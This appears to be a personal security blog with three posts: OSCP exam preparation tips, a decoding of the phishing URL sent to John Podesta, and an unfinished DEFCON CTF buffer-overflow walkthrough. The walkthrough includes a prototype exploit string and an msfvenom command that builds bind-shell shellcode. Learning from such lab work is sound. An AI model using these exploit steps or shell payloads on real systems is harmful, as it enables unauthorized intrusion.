Monday, December 18, 2017

Try Harder

Well, it happened.  I finally passed the OSCP exam!  It was, without a doubt, the most challenging and rewarding single endeavor of my career.

I know that when I was working on it, I was hungry for any insight those who had gone before me could provide.  So I thought I would share a few things I came across during the process.

Offensive Security, PWK And The OSCP


For those who aren't familiar with either the OSCP, PWK or Offensive Security ... Offensive Security (https://www.offensive-security.com/) is the company which brings us the Kali Linux distribution, the exploit-db (https://www.exploit-db.com/), and the free training course on Metasploit, Metasploit Unleashed (https://www.offensive-security.com/metasploit-unleashed/).

More to the point here, they also provide a variety of training opportunities in computer security, focusing on the offense side of security.

One of the classes they provide is "Penetration Testing With Kali", otherwise known as "PWK".  The PWK course focuses on how to do penetration testing (using Kali Linux) and prepares one to take the test for the "Offense Security Certified Professional" certification, commonly called the "OSCP".

Unlike most security certifications, the OSCP is exclusively hands on.  There is no written exam, no test of some knowledge base ... being good at memorizing will do you no good here.  The exam consists of you being given access for 24 hours to a network with some computers on it.  If you compromise enough of those computers, you pass (you have another 24 hour to write up the required report on your efforts.)

Who Is The OSCP For?


One of the things I've learned while working on the OSCP is that there are a variety of folks working on it.
  • There are some folks who already work as experienced penetration testers - for them PWK and the OSCP are a validation of what they already know.  Dare I say it, the OSCP is something of a check-box for them.  They might have their sights set on the more advanced OSCE certification (https://www.offensive-security.com/information-security-training/cracking-the-perimeter/), which the OSCP is a stepping stone to.
  • There are security neophytes taking the course as well. Maybe they're making a move from some other IT discipline, maybe they're completely new to IT and security.  You have to admire their courage, jumping into the deep end like that.  I suspect however that a good number of these folks do well.  I say that because I believe that PWK and the OSCP reward hard work and motivation more than they reward book knowledge.
  • Finally, there are folks who work in security, but not as penetration testers.  I fall into that category, I've worked in many areas of security - and I like to think I have a good handle on the fundamentals. While I've done lots of assessments with automated tools, and occasionally poke at things manually, I've never worked as a professional pentester. 

I've tried to orient this post towards the second and third group.

BTW, although I don't work as a pentester, I'm of the opinion that earning the OSCP doesn't make you an 31337 security pentester.  There are many parts of an enterprises' potential attack surface which the PWK course doesn't have time to get into.  In my opinion, I think an OSCP would make a very strong junior pentester.  If you want to get in on the ground floor as a pentester, I can't think of a better certification than the OSCP.  Not only has an OSCP demonstrated a clear understanding of the fundamental skills required for serious pentesting, but he/she has demonstrated a tenacity which is a huge asset.

I also think the OSCP is a fantastic certification for other security folks.  For example, my day-to-day job doesn't involve pentesting - but what I've learned in the PWK and in earning the OSCP gives me a tremendous insight and "toolset" that I bring to my job every day.

What Is The PWK Class Like?


There are three main components to the PWK, and then a couple of extra resources you should be aware of:

  • The primary "reference" is the instructional document they provide.  The version I received was a .pdf document which is over 370 pages long.  This document is intended to teach you the skills and tools you'll need to compromise  machines in the lab.  It's a well written and comprehensive tutorial which takes you from very basic things such as how to boot Kali through writing your own buffer overflow exploits.  Check out the PWK syllabus here, which follows  the document's table of contents: https://www.offensive-security.com/documentation/penetration-testing-with- kali.pdf
    • The manual also includes exercises to work through.  These are hands on exercises which give you experience with the techniques and tools you'll need  to use in the lab. When you take the OSCP, you can get a few points by handing in the completed exercises.  
    • In addition to the written document, Offensive Security also provides a series of videos.  Each video is a lecture which typically demos a procedure or tool.  The videos pretty much correspond 1:1 to the sections in the written document.   Sometimes the video will show some detail not in the written document, or visa-versa.  But essentially each video is a live presentation of a section in the written document.  This can be very handy when there's some aspect of using a tool which eludes you ... seeing a demo of somebody running it can make all the difference. And of course, some folks are visual learners and some folks do better reading - Offensive Security has got you're covered either way.
    • The third, and far away most important part of the course, is the lab.  This is what separates PWK from most other classes.  As part of the course, you get access via a VPN to a network which hosts some 50+ machines spread across several networks.  The machines are all different, and each machine has some vulnerabilities which can be exploited to fully compromise the machine.  The network is modeled after a real corporate network, with a variety of different types of workstations, servers, and other corporate networks you can pivot to.  One of the things I like about the network is that the vulnerabilities are all "real world" vulnerabilities.  This isn't some Capture The Flag (CTF) exercise where you'll find some cute vulnerability that you would never see in the real world.  The vulnerabilities you'll find here are the types of mistakes, bugs and oversights you might find on a real corporate network (perhaps one with sloppy admins, but still real world.) Lab time is a valuable commodity.  When you sign up for PWK, you sign up for a certain number of days you'll have access to the lab.  If necessary, you can buy more lab time.
    There are a couple of other resources that you'll want to be aware of:
    • As a student, you'll have access to a set of forums maintained by Offensive Security.  This is where Offense Security will notify you of issues you need to be aware of.  However, the primary focus of the forums is for students to discuss both lessons, and machines in the lab.  If you have a question about something in the course materials, this is a good place to ask.  Other students, and Offensive Security instructors can respond to you here.  This is also where you'll find a unique forum dedicated to every machine in the lab.  When you get stuck on a machine (and you will, trust me) this is place where you can seek a hint to get you unstuck.  
    • There is also a private chat facility where you can connect to an Offensive Security instructor.  This is where you can get help if you're having technical issue, such as problems connecting to the VPN.  It's also another resource if you're stuck on a machine.

    Hints

    Especially in the forums, you'll quickly encounter what I call the PWK "Code of Silence".  In the forums, and when you're interacting with instructors, there's a very strong tradition of not giving away how to compromise a machine. Almost every forum post about a machine is edited to avoid hints which give away too much about how to compromise a machine.  

    The whole culture of PWK is oriented towards encouraging you to "Try Harder" and figure out for yourself how to compromise a machine.  Permitted hints are mostly encouragement or perhaps something cryptic which will only mean something to you if you're already on the right path.  The same thing will happen if you contact an instructor via chat - if you're on the right path, he/she may toss you a few crumbs of encouragement. But you'll never get something like "try CVE-1234-567".

    OK, so those are the resources.  How do you use them to maximize what you get from PWK and earn the cherished OSCP? :-)



     Some Lessons Learned



    The Lab

    The first lesson I'll mention is one I learned the hard way: the essence of the course is working through the machines in the lab.  The reason for this is because the limiting factor in the course is access to the lab.  i.e. how much lab time have you purchased?  If you're lucky, you'll have the resources to buy more lab time as you need it, but it can get pricey.  If your employer is paying for the class, you may have a very hard limit on lab time (unless you can fund lab extensions on your own.)  

    Why is this a hard earned lesson?  The first (of many) mistake I made with the PWK was assuming it was like other technical classes I had taken. I started the course planning to study the manual, watch the videos, do the exercises and then at the end spend time practicing what was in the manual using the lab.  WRONG!  I ended up wasting a significant part of the lab time I purchased with the course, studiously working though the manual.  If there was an exercise, not only did I do it - I played with it, doing it different ways or writing a program I would never use again to do it.  I had a lot of fun, but when I was done and turned my attention to the lab I was horrified (and thrilled) to discover that while I needed to use the techniques and tools from the manual, each machine in the lab presented a different challenge which was new to me and wasn't simply a matter of applying by rote what was in the class lessons.   Not only that, but the lab was huge.  When I finally did a host scan to see how many hosts were in the lab, I was surprised to discover that there were 30+ machines immediately visible (plus more on networks I couldn't see yet.).

    This is a core thing to understand about PWK.  What PWK teaches you isn't a catalog of tricks you can use to compromise machines.  Rather, PWK teaches you how to bang your head against a machine, fighting, persisting, cursing, praying, clawing at it, until you finally find a chink in the machine's armor and can work you way past its defenses.  

    There's a reason the motto for the class is "Try Harder".  What Offensive Security is trying to teach you is to find ways to keep trying.  This is an insanely valuable lesson.   A good pen-tester can't just use the same exploits every day, he/she needs to be able to successfully compromise a machine with vulnerabilities they've never seen before.

    That's why the lab is the core of the class.  The only way you'll develop the experience to have a chance at the OSCP is to work your way through the different machines in the lab.  It's what will turn "book" learning into an actual ability to compromise machines.  It's also what will force you to develop the mental toughness to keep trying 19 hours into the 24 hour OSCP exam and not give up.


    Forums

    So here's where I get to talk about another mistake I made.  Even though the forums are heavily edited to avoid giving away too much, they're not content free either.  Typically, if you're on the right path to solving a machine, there might be a comment which will confirm that you're going on the right direction.  For example (and I'm making this up), let's say you found a directory traversal attack against an application.  If somebody in the forum for that machine says "enumerate the file system", that tells you that maybe if you keep using the directory traversal attack, you'll find something useful.

    The mistake I made was that I got lazy and started to rely on these hints.  I got pretty good at using these hints to validate that I was on the right track (or not).  But, developing a sense of when you're on the right track is part of what the lab should teach you.  Remember, there are no forums for the machines in the OSCP exam.  So if you become too used to using the forums to nudge you in the right direction, you'll be handicapped when you take the OSCP exam.  Having said that, sometimes it's important to just get a little bit of encouragement.  Several times I reached the point where it seemed like a machine was impossible.  At times like that, seeing that somebody else had finally figured it out was just the encouragement I needed to go back and try again (harder.)

    So, plan to use the forums as a resource.  But be careful not to over-use them.  If you're planning to take the OSCP exam, try to treat every machine you attack in the lab like it's part of the OSCP exam and try to use only the resources you would have during the exam.  If you go to the forums or instructors for a hint, do so with the intent of learning something when you're really stuck, not just to save time on that machine.

    Notes

    Here's something I did right!  One of the things I quickly learned while working on the PWK lab is the incredible importance of taking good notes.  I don't know how to over-emphasize this, you've got to develop good note taking skills while working in the lab.  

    When taking the OSCP exam, after your 24 hours to attack the exam machines, you have another 24 hours to write up a lab report.  This report is required, and it must meet certain standards.  No report, no OSCP.  The report requires you to be able to describe the vulnerabilities found and the successful attack used for each machine.   The quality of your report will be a direct function of the quality of your notes.  If you left something out of your notes, it may not make it into your report.  And don't forget, after your 24 hours of access to the exam network are up, and you're writing the report, you can't go back to the exam network because you forgot a screen shot or because you forgot how you did something.

    Also, taking good notes while you work on a machine in the lab can be very helpful while trying to compromise it.  On occasion "life" would intrude on my working in the lab, and I would find myself coming back to a machine after being away from the lab for awhile.  Having notes to remind me what I've already tried, and what I still needed to do, was very handy.

    Finally, there may arise occasions where a machine you've compromised in the lab, later on serves a useful purpose in attacking some other machines.  You can't take advantage of a machine you compromised weeks ago if your notes about that machine are incomplete or illegible. 

    In my opinion, there are two requirements for good note taking software.  The first is to be able to easily impose structure on your notes.  You will need to refer back to your notes, and without structure, finding information in what will literally become thousands of pages of notes would become impossible.

    The second requirement is to be able to quickly and easily incorporate screen shots into your notes.  Screen shots are critical because Offensive Security requires them as proof that you've done something.  In the exam report, you are required to provide screen shots showing every step required to compromise a machine (along with the contents of a trophy file.)

    You're allowed to use whatever program you want for notes.  However, Kali Linux comes with an open-source note taking program called "keepnote", which I would strongly recommend - unless you already have an good program you're familiar with (such as OneNote, Evernote, ...)

    How to Prepare


    So here's the really good news.  While the amount of time you have in the lab is a limited, there's no limit on how much preparation you can do prior to starting the course.  And there's a ton of resources available to help you prepare ahead of time for the PWK.  Again, having learned my lesson by doing the opposite, I would strongly encourage you to embark on a pre-PWK course of study. 

    What to study?  Well of course, it really depends on what your strengths and weaknesses are.  I would say that the goal of preparing for the PWK is to make sure you're in a position to immediately absorb what the PWK gives you, without having to backup and learn some "fundamentals."  Here are a few suggestions to cover the most likely gaps.

    A Good Textbook

    My first suggestion is that you definitely look at the book "Penetration Testing: A Hands-On Introduction to Hacking" by Georgia Weidman.  

    By the time you're done with her book, you'll have a Kali machine set up, you'll have learned the basics of getting around, and you'll have learned how to use the most commonly used tools in Kali.  Better yet, you also will have tasted the sweet, forbidden, addictive, fruit of breaking into a machine and started to develop a feel for how that process works.  In fact, you'll have touched on many of the primary subjects covered by the PWK.

    The only warning I would give you about her book is that several of the exploits she walks you through are against Windows-XP, and it's getting harder and harder to find a Windows-XP VM you can use, let alone one which is vulnerable to some of the exploits she shows.  But the Linux stuff is still available, and even if you just read about the Windows-XP exploits you'll still get something out of it.

    There are some other books which are also good, such as "The Hacker Playbook" by Peter Kim, but none of the ones I'm familiar with, track the PWK as closely as Weideman's book.

    Linux

    Kali is a Linux distribution, and at its core PWK is partially about learning how to use Kali.  So being able to work in a Linux environment is pretty important.  There are a ton of online resources for learning Linux.  Just google something like "Intro to Linux", and pick one that looks good to you.

    A great resource for getting started with Kali is "Kali Linux Revealed" available for free at: https://www.kali.org/download-kali-linux-revealed-book/.  Chapter 3 will give you a great introduction to using Linux.

    If you want to have some fun with basic Linux commands, check out this CTF which is an intro CTF using basic Linux commands: http://overthewire.org/wargames/bandit/. If you're never tried to break into a computer before, this is a chance to dip your toes in and sample the thrill.

    When it comes out, this book looks like it will be the go-to resource for getting up to speed with Linux for the PWK: https://www.nostarch.com/linuxbasicsforhackers

    Networking

    Networks are the media a pentester uses to communicate with his/her target, so PWK teaches you to understand how networking works, and the tools used to manipulate network traffic.  For example, PWK shows you how to use sniffers like Wireshark and tcpdump, tools you'll need to debug your attacks.

    But in order to understand what these tools are telling you, you'll need to understand some networking basics.  If the terms "ARP", "UDP", and "Three-way-handshake" mean something to you, you shouldn't have any problems with PWK.  If not, you probably want to find an introductory lesson on TCP/IP.

    There are tons of these lessons on the Internet, although many of them go into much more detail than you need to start.  For example, you don't need to understand the OSI-model, routing, NAT, IPv6, subnetting, or how networking hardware works.

    Find one you like.  Networking is critical to almost any endeavor in security, so in a way you can't learn too much.  But for the PWK, avoid getting too far in the weeds.

    Programming Skilz

    You will need to have some basic programming ability.  Part of what you need to be able to do in PWK is download an exploit's source code, review it for safety and applicability, and perhaps make some changes.  Most of the exploit's you'll encounter are written in either Python or C.  If you can already load a python program into vi, maneuver around, maybe change the value of a variable (and exit from vi!) then you're good to go.  Kali does have a notepad like editor, so even being able to use vi is optional.

    If you're new to programming, I would focus on learning some Python.  If you can get around in Python, the minimal amount of C code you'll need to modify should not be a big deal.

    Frankly, there are so many "Intro to Python" resources, it's hard to find just one to recommend.  Find one you like, and just work through it.  Just as an example, here's one that Google makes available: https://developers.google.com/edu/python/?hl=en

    If you prefer to learn from a book, here's a book that I like (you just need Part 1), although it might be a bit of overkill: https://www.nostarch.com/pythoncrashcourse

    Buffer Overflows and Hacking in Binary (OK, Hex)

    Related to basic programming, the PWK spends some time showing you how to write a classic buffer-overflow exploit.  It's really fun stuff, and they keep it at an approachable level.  The basic tools you'll need to understand these modules are an understanding of:
    • How a program uses memory 
    • What a stack is and how it's related to calling a procedure.  
    • What the instruction pointer is
    • What Hex is
    • You'll also need to be comfortable learning how to use a debugger.

    Those things sounds scarier than they are.  But if you've seen them before you'll find the buffer overflow part of PWK easier.

    Weideman's book devotes 3 chapters to writing buffer-overflow exploits, or there are a bunch of buffer-overflow tutorials on the Internet.

    A Google search for "intro buffer overflow" will give you a starting point.  Remember though, you don't need to learn assembly language, or how to reverse engineer a program.  Just go with one of the resources which demo a simple buffer overflow.

    Metasploit

    Metasploit is a "framework" for writing and running exploits.  What that means is that Metasploit provides a bunch of tools which simplify writing and then running exploits.  There's a huge community which has grown up around Metasploit, with the result that for a lot of known vulnerabilities, somebody has written an exploit in Metasploit which "just works". Put another way, Metasploit makes it trivial to exploit a large number of vulnerabilities without knowing a thing about how the exploit works.

    Metasploit is an important tools for pentesters to know. But it's somewhat antithetical to what PWK is all about, namely learning how to compromise a machine with your own two hands.  PWK devotes some time to learning how to use Metasploit, and on the OSCP exam you're allowed to use Metasploit on one machine if you want, so it's not a bad idea to study Metasploit before taking the PWK.   As with most aspects of the PWK, Weideman's book covers how to use Metasploit.  

    Although it goes into more detail than you need for the PWK, Offense Security makes available a great resource on using Metasploit, Metasploit Unleashed:  https://www.offensive-security.com/metasploit-unleashed/. If you want to play with Metasploit in more detail, grab a copy of the latest version of "Metasploitable", which is a VM running software specifically designed to be vulnerable to exploits in Metasploit.  You can then use Metasploit to attack the vulnerabilities on this VM.

    Finally, one warning about Metasploit.  When working in the PWK lab, it's possible to become too dependent on using Metasploit.  There's nothing to stop you from using Metasploit against every machine in the lab, but if you do you'll be completely lost during the OSCP exam where your use of Metasploit is severely limited.

    Machines to Attack

    The key activity in the PWK class is to attack the machines in the lab.  Although I wouldn't describe it as a requirement, it's clearly beneficial to get practice actually attacking machines before starting the class.  Fortunately, there are a lot of opportunities to legally attack something.  The hard part is knowing ahead of time that a particular target is a good match for the machines in the PWK.

    To address that, an excellent resource is the list of PWK like machines put together by "abatchy":  http://www.abatchy.com/2017/02/oscp-like-vulnhub-vms.html

    The site vulnhub.com serves as a repository of vulnerable VMs.  In general, a lot of the machines at vulnhub can teach you something, even if they're not all aligned with what the machines in the PWK lab teach you: https://www.vulnhub.com/

    Final Thoughts


    If you're "new" to security, keep in mind that almost everything is documented for free somewhere on the Internet.  That means that if you're willing to dig a lot, and work hard, you can learn everything you need to do well in the PWK before going into it.  Coincidentally, those skills (digging and working hard) are among the ones you'll need once you start actually doing the PWK.

    When working in the PWK lab, learn to stay focused and try to dispatch machines as quickly and efficiently as possible.  This is a critical skill for professional pentesters, and is one of the skills that the OSCP mercilessly measures during the exam.

    Finally, preparing ahead of time can make the difference between success and failure.  Do not underestimate the PWK (but don't be afraid of it either.)

    Resources

    In addition to references sprinkled above, here's a list of some resources on preparing for the OSCP that I came across during my OSCP journey:

    http://www.securitysift.com/offsec-pwb-oscp/
    https://www.keiththome.com/oscp-course-review/
    https://theslickgeek.com/oscp/
    http://netsec.ws/?p=398
    https://leonjza.github.io/blog/2014/11/22/trying-harder-oscp-and-me/
    http://www.en-lightn.com/?p=941
    https://medium.com/@rubyroobs/offensive-security-s-penetration-testing-with-kali-linux-course-and-why-it-s-possibly-the-best-9142092d13d1
    http://www.techexams.net/forums/security-certifications/110760-oscp-jollyfrogs-tale-2.html
    https://securism.wordpress.com/oscp-notes-password-attacks/
    https://backdoorshell.gitbooks.io/oscp-useful-links/content/
    https://www.peerlyst.com/posts/the-how-to-get-the-oscp-certification-wiki-peerlyst
    https://blog.mallardlabs.com/zero-to-oscp-in-292-days-or-how-i-accidentally-the-whole-thing-part-2/

    Update 3/2020  - Best resource yet! (This is an update of what was here before.)
    https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0

    Saturday, January 7, 2017

    We Live in Interesting Times


    I shouldn't, but I couldn't resist a couple of comments on the issue of those darn Ruskies hacking the election.

    Please be aware that my goal is to be completely non-political.  I just think that from the technical, security perspective, there are some interesting things going on here worth looking at.



    The first comment is simply to point to what is far and away the best overviews I've seen on the Grizzle Steppe release by DHS.

    Before you read it though, let me point out that the author does steer into what might be considered politics every now and then.  I encourage you to just avert your eyes, and focus on the discussion of the Grizzly Steppe IOCs.

    http://www.thedailybeast.com/articles/2017/01/06/how-the-u-s-enabled-russian-hack-truthers.html

    The comments in the article by Robert Lee and Robert Graham are, I think, spot on.

    If you're interested in diving into this report in more detail, here's a much more in-depth critique of the report by Robert Lee:

    http://www.robertmlee.org/critiques-of-the-dhsfbis-grizzly-steppe-report/

    In my opinion, irrespective of your politics, DHS did not endear themselves to the security community with this one.  It comes off as a huge bureaucratic CYA exercise because somebody in authority said very loudly, "DO SOMETHING!!".  It only succeeded in generating a lot of work for folks defending stuff, and I doubt much good came of it.



    Here's the other thing I thought was interesting.  While we don't have access to the technical data underlying the assessment of the DNC hack, it turns out we have very good insight into the hacking of John Podesta's gmail account - which was a different compromise but was related due to Podesta's involvement with the election.

    The paper below describes in detail how, due to an opsec mistake by the attackers, researchers at SecureWorks were able to compromise some phishing campaigns which they believe were run by APT28.  The compromise allowed them to directly identify the targets of these phishing campaigns, and to develop an estimate of which targets were successfully compromised.

    https://www.secureworks.com/research/threat-group-4127-targets-google-accounts

    It's a good read if you want to understand how one mistake can lay bare an entire cyber attack program.  It also describes the mechanics of how the attackers led their victims to a fake Google password change page.

    In a related display of cosmic irony - included in the leak of John Podesta's email to Wikileaks, is the phishing email which appears to have resulted in the compromise of his email and therefore the leak his emails to Wikileaks. :-)

    After reading the SecureWorks paper, let's see why the Podesta hack could be part of that campaign...

    We know from the email dump in Wikileaks, that Podesta received a phishing email purporting to be from Google, encouraging him to change his password, and conveniently providing a URL he could use to change it.  The URL he was provided was:
    https://bit.ly/1PibSU0

    (Note: as a rule, I don't go to Wikileaks, but if you want to see the source email thread, it's available at: https://wikileaks.org/podesta-emails/emailid/36355)

    Some URL shortners, including bit.ly, have a feature where if you append a '+' sign to the shortened URL, they take you to a page which shows where the shortened URL redirects you to.  Using that feature, we can examine the URL from the phishing email (notice the appended '+'):
     https://bit.ly/1PibSU0+

    which shows us that Podesta was ultimately sent to:

    http://myaccount.google.com-securitysettingpage.tk/security/signinoptions/password?e=am9obi5wb2Rlc3RhQGdtYWlsLmNvbQ%3D%3D&fn=Sm9obiBQb2Rlc3Rh&n=Sm9obg%3D%3D&img=Ly9saDQuZ29vZ2xldXNlcmNvbnRlbnQuY29tLy1RZVlPbHJkVGp2WS9BQUFBQUFBQUFBSS9BQUFBQUFBQUFCTS9CQldVOVQ0bUZUWS9waG90by5qcGc%3D&id=1sutlodlwe

    Based on what we learned in the SecureWorks paper, we can decode the components of that URL to see that:

    am9obi5wb2Rlc3RhQGdtYWlsLmNvbQ== --> john.podesta@gmail.com
    Sm9obiBQb2Rlc3Rh --> John Podesta
    Sm9obg== --> John
    Ly9saDQuZ29vZ2xldXNlcmNvbnRlbnQuY29tLy1RZVlPbHJkVGp2WS9BQUFBQUFBQUFBSS9BQUFBQUFBQUFCTS9CQldVOVQ0bUZUWS9waG90by5qcGc= --> //lh4.googleusercontent.com/-QeYOlrdTjvY/AAAAAAAAAAI/AAAAAAAAABM/BBWU9T4mFTY/photo.jpg

    That was the information which was used to construct the web page used to trick him into providing his Google password.  BTW, that last URL brings up the publicly available picture that Google uses for Podesta's Google applications.

    The actual web site which displayed the fake Google password change page is no longer up, but we can see in the SecureWorks paper what it looked like.

    Based on this research, it seems pretty clear that Podesta had been phished by the group documented by SecurityWorks.  Based on the contents of the email thread, it's very likely that the attack succeeded and that this attack resulted in his email being compromised.

    Here are some screen shots showing these steps:

    Here's email thread showing the URL in the phishing email.




    In the same email thread, Podesta's IT support team mistakenly decides that the email is legitimate and they need to change the password for his email account. This is why I think it's likely the phishing attack was successful.



    Here's the bit.ly page showing where the URL in the phishing email redirects him to (notice the URL in my browser's address box):


    BTW, the frozen "2 Clicks" statement in the above suggests that the bit.ly URL was used twice before they locked it down.  This may be further evidence that the phishing attack was successful.

    The next screen shot just shows me using the base64 utility to decode the portions of the URL which show this attack was directed at Podesta, and that a customized bit.ly redirection had been established for him (Note: I translated the '%3D' in the URL to the '=' that it represents.)



    And finally, here's the publicly available Google page which is pointed to by the last argument in the phishing URL.  This is used to make the fake password change page more believable.




    I would just finish by observing that while the "big guys" in the industry sometimes have access to data that the rest of us never see, often we can peek under the hood and see a lot of the same stuff they see.

    As security folks, I think it's fair to say that we live in interesting times!  :-)





    Friday, August 26, 2016

    "tyro" ... really?

    The following falls somewhere between being an attempt to provide you with a useful guide on exploiting a vulnerable program, and therapy for me.  :-)

    This year's DEFCON was, as usual, fantastic.  Since I've been working recently on trying to develop some offensive skills, I thought it would be fun to play around with the OpenCTF which was being held at DEFCON.  yeah, right.

    I won't go much into the rest of the OpenCTF, other than to say it was fantastic and I highly recommend giving it a try.

    After my team-mate, Ron, and I had dispatched with all the low hanging fruit we could find, we turned our attention to what seemed like the main attraction to the first level in the game - a series of services over the network.  They were named "tyro_" and then some type of vulnerability.  For example, "tyro_heap" or "tyro_infoleak1".  Tyro - noun: a beginner or novice. Perfect, some nice warmups before we get to the real challenges.

    What made these challenges especially appealing was that you could download the program providing the "service".  This means that you could transfer it to your own machine, load it up into a debugger and plumb its secrets utilizing whatever 31337 forensics and reverse engineering tools you have at your disposal.  Cool, what could go wrong with that?  My DEFCON Black Badge was within grasp.

    Like every self-respecting DEFCON attendee, I had built a special laptop to take to DEFCON.  In order to be prepared for whatever DEFCON threw my way, I had loaded it with several different virtual machines.  Far and away the most important tool I loaded on my machine was a spanking clean, brand new VM running Kali.  And since bigger and newer is better, it was the 64 bit, rolling update, distribution of Kali. No running out of virtual memory for this hacker.  :-)

    That turned out to be my undoing.

    So when Ron and I started playing with the "tyro" challenges on my laptop, we hit a bit of a snag.  Although they were certainly Linux executable binaries, they all would not run.  Turns out that the 64 bit Kali distribution I had didn't have the right libraries to run these particular 32 bit binaries.  Ouch!

    Rather than wax eloquent on the sequence of wrong turns and wasted time that followed I'll just state:
    • Several other folks at the CTF managed to overcome this problem.  But despite helpful suggestions from others I never figured out how to get that Kali image to run these challenges.  Although I could be wrong, I think the way that the rolling update is configured, combined with my ignorance, prevented these helpful suggestions from working. I'm sure there was a way to get it working, I just couldn't figure it out.
    • In any other situation, my solution would have been to download the 32 bit Kali image and use that.  But the "safe" DEFCON network was too slow (e.g. 12+ hours to download the ISO), I wasn't willing to try the "unsafe" network, and any other options I had were even slower.
    I ended up eventually moving on to other things at DEFCON, and I brought home some challenges to play with at my leisure.
    __________________________________________________________

    Several weeks after DEFCON I finally had some time to play with one of the "tyro" challenges, "tyro_overflow1".  In hopes of helping others avoid my mistakes, here's a description of how I managed to "figure out this challenge.


    When you run the executable (on the 32-bit Kali distribution) the program prints it's name and then prompts you for input, "Can you trigger the success function?".  If you type in some short string, it says "Got ", followed by your input, an exclamation point, and then exits.


    hmmm, this is "tyro_overflow" ... what are the chances that by providing a long input string I can overflow some buffer and find a vulnerability?


    Well, that's interesting.  If the input is too long, the program crashes.  Let's pursue this in more detail.  To the debugger!

    If it's not already clear, I'm still a beginner at the offensive side of security.  So far the only Linux debugger I've had any experience with is "edb" (Evan's Debugger).   To start edb with the challenge program:

    edb --run ./tyro_overflow1_0601e9d93a2ff84ae7a85dc199fa8233 

    Once edb is up and had the challenge loaded, we can start by running the challenge and seeing if we can reproduce the crash that we've discovered.

    In edb, select "run" twice (from the "Debug" menu) to run the program (the first "run" will load the program and then pause it.)

    Now is a good time to observe one of the nasties the creators of this challenge left for us.  When the challenge starts running, it sets an alarm which terminates the program after 30 seconds.  So once you start the program running you have 30 seconds to provide the input before it aborts.  Here's an example of that (using the Unix "time" function so you can see how long it takes to abort.)


    When you start running the challenge, a simple window will pop up with the output from tyro_overflow. You can also provide input to the program in this window.

    A natural first step is to reproduce our long string which crashed the program, and see if edb can help us figure out how to take advantage of this vulnerability.


    YEEEHAW!!! You can see in the screen-shot above that when I provided the long strings of 'A's to the program, the debugger caught the resulting crash.

    Here's what's really exciting about that crash ... the program crashed because it tried to execute code at an invalid address.  But look at the address it tried to execute, hex 41414141.  For those of you who haven't memorized the ASCII codes, hex 41 is the ASCII code for 'A'!

    What we're seeing is that somehow, 4 of the 'A's that I fed the program got used as an address for it to go to.  That means that by adjusting my input I can make the program go to any address I want!  (Ignoring the possibility that my input may get munged somehow.)  Talk about raw power! This discovery is the key to compromising this program.  Everything from here on is just building on my ability to force the program to goto an address I specify.

    At this point in my investigation, I manged to snatch defeat from the jaws of victory.  But it might be interesting anyway, and it's therapeutic for me, so I'll describe the path I took to finally understanding this challenge.

    Based on what I've been studying recently, the 'conventional' path that one takes when exploiting a buffer overflow like this goes along the lines of:
    • Identify where in the input we're actually providing the address to goto.
    • Figure out how to provide some malicious code for the compromised program to run.  This is typically the "shell code" that we often embed in the overly long input. 
    • Figure out how to make the program execute the shell code.  This can be tricky because you usually don't know ahead of time what address your shell code is going to end up at.  If it always ended up at the same address, you could just use your control of where the computer goes, to go to your shell code.

    Once I came down from the adrenaline high of controlling where the program goes, I began to address the question of which one of the many 'A' that I typed are actually the ones which control where the program goes.  Kali includes a really neat Metasploit tool for doing this.  Behold!


    The tool pattern_create creates a string which has the property that any two character string occurs only once.  In the command above, I created a 200 character string.  When I reran the challenge under edb, and pasted this special string into the input windows, the program crashed again - but this time at a different address which came from the input string.


    (BTW, you can paste into the window that edb provides by using the middle mouse button. On most mice, this is done by pushing down on the scroll wheel.)

    The address it crashed at, hex 37654136, came from 4 characters in the input string.  The companion program to pattern_create, pattern_offset, will tell me where in the input string these 4 characters are. (Yes, I could do this by hand, but I have a computer to do it for me)

    So now I've found that it's the 4 characters starting at 140 characters into the input string which control where the program goes.  Just to double check, let's create a prototype exploit program and prove that we know how to control where the challenge program goes.
    ___________________________________
    #!/usr/bin/python

    # Test program to verify that we can make
    # tyro_overflow go to an address we specify

    padding1 = 'A' * 140   # pad out to 140

    jmpAddr = 'BBBB'       # where we say to goto

    padding2 = 'C' * 100   # just to make sure input is big

    exploitString = padding1 + jmpAddr + padding2

    print exploitString
     ___________________________________

    When we run our new program, we get the following output:


    When we paste the string from our new program into tyro_overflow, we get the following crash:


    which shows that our exploit was able to make tyro_overflow goto the address Hex 42424242 (which is the ASCII for 'BBBB' that we used as the address.)

    Up to this point, everything I've done can be used for the working exploit (although as I'll point out later, some of it was unnecessary.)

    However, from here I went down the wrong path.  Eventually I had back up and try a different route.  Nobody every said this stuff was easy!  I'll briefly show what I did anyway, it's interesting and under some circumstances it would have been correct.

    At this point, I started to look at what the state of the various system registers during the crash.
    • You can see the current value of a register by double-clicking on it (the registers are in the upper right of the display.)
    • If you right-click in the "Data Dump" area, you can select "Goto Address" to make the Data Dump area show you the contents of memory at a specific address.

    Using these tools, I discovered that the "ESP" register (aka the extended stack pointer) was pointing to the next character in in my input string after the "address" of BBBB.  This is fantastic!  This means that right after I put the address to goto, I can load up my input string with shell code with no size restrictions (if I had to use the string before the address, it probably would be limited to 140 bytes of shell code which might have been tight.)

    I won't go into detail on how to produce the shell code, but if you're interested, I generated it with another Metasploit tool ....

     msfvenom -p 'linux/x86/shell_bind_tcp' LPORT=31337 -n 20 -e x86/alpha_mixed -f python

    This produced a string I could include in a python program. The string corresponded to shell code which would have started a shell on the system and listened for connections on port 31337.  But as I mentioned above, this turned out to be the wrong approach to compromising this application.

    The final step necessary to complete this compromise would have been to find some pre-existing code that I could direct the computer to which would in turn execute my shell code.

    Keep in mind, I've discovered that the ESP register is now pointing directly to my shell code.  All I need to do is find code already in place which will reliably jump to the address in ESP.

    And this is where my world came apart.  In the "Plugins" menu, edp has an "OpcodeSearcher" tool which will search for specific instructions in memory.  This tool is intended for just this type of use, and using it I found numerous 'jmp ESP' instructions (search for "ESP -> EIP") However, none of the ones I tried stayed in the same memory location between program runs.  This made it impossible for me to reliably find a way to jump to my shell code.  There may be a bit of code somewhere that would have worked, but I hadn't found it when I decided to try other approaches. 

    Here is where I got back on the right path ... almost!

    While I was using edb to look at the input string in the Data Dump window, I happened come across the place in memory where tyro_overflow stores the strings which is uses.



    Notice that the string "/bin/sh" is there along with the other strings we've seen the program use.  Wow! Where does the program use this string? Does it already have "shell code", just waiting for me to jump to?  Could this be what the message "Can you trigger the success function" refer to?

    I'll tell you now, the answer to the last 2 questions is yes and yes. :-)

    So here's the final trick which eluded me until I looked up somebody else's solution to this challenge.

